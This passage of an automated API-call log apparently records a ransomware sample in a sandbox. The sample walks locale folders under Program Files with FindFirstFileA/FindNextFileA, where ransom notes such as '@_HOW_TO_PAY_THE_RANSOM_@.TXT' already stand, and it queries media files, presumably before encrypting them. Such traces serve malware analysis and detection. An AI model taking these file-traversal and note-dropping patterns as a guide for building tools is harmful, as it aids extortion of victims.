cAlternateFileName="")) returned 1 [0070.936] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a3b7a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.936] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a3b7a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.936] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a3b7a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.936] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0070.936] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0070.936] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0070.936] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0070.937] AreFileApisANSI () returned 1 [0070.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.938] GetFileType (hFile=0x198) returned 0x1 [0070.938] AreFileApisANSI () returned 1 [0070.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.940] AreFileApisANSI () returned 1 [0070.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.942] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.942] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="..", cAlternateFileName="")) returned 1 [0070.942] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a3b7a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.942] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a3b7a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.943] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a3b7a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.943] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0070.943] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0070.943] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0070.943] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0070.943] AreFileApisANSI () returned 1 [0070.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.943] GetFileType (hFile=0x198) returned 0x1 [0070.944] AreFileApisANSI () returned 1 [0070.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.945] GetFileType (hFile=0x198) returned 0x1 [0070.946] AreFileApisANSI () returned 1 [0070.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.948] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a61900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a61900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.948] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a61900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a61900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="..", cAlternateFileName="")) returned 1 [0070.948] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a3b7a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a3b7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.948] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a61900, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a61900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a61900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.949] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a3b7a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a3b7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a61900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.949] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0070.949] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0070.949] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0070.949] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0070.949] AreFileApisANSI () returned 1 [0070.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.951] AreFileApisANSI () returned 1 [0070.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0070.952] AreFileApisANSI () returned 1 [0070.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.953] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a61900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a61900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0070.953] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7a61900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a61900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="..", cAlternateFileName="")) returned 1 [0070.954] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a61900, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a61900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a61900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.954] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a61900, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a61900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a61900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.954] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a61900, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7a61900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7a61900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.954] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x34000236, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0070.954] AreFileApisANSI () returned 1 [0070.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0070.954] AreFileApisANSI () returned 1 [0070.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0070.955] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0070.955] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0070.955] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0070.955] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0070.955] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0070.955] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0070.955] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0070.955] CloseHandle (hObject=0x174) returned 1 [0070.955] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x2f, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0070.955] AreFileApisANSI () returned 1 [0070.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0070.956] AreFileApisANSI () returned 1 [0070.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0070.956] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0070.956] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0070.956] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0070.956] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0070.956] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0070.956] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0070.956] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0070.956] CloseHandle (hObject=0x174) returned 1 [0070.956] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x27, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0070.956] AreFileApisANSI () returned 1 [0070.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0070.957] AreFileApisANSI () returned 1 [0070.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0070.957] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0070.957] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0070.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0070.957] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0070.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0070.957] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0070.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0070.957] CloseHandle (hObject=0x174) returned 1 [0070.957] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x27, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0070.957] AreFileApisANSI () returned 1 [0070.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.957] AreFileApisANSI () returned 1 [0070.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.957] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0070.958] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0070.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0070.958] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: 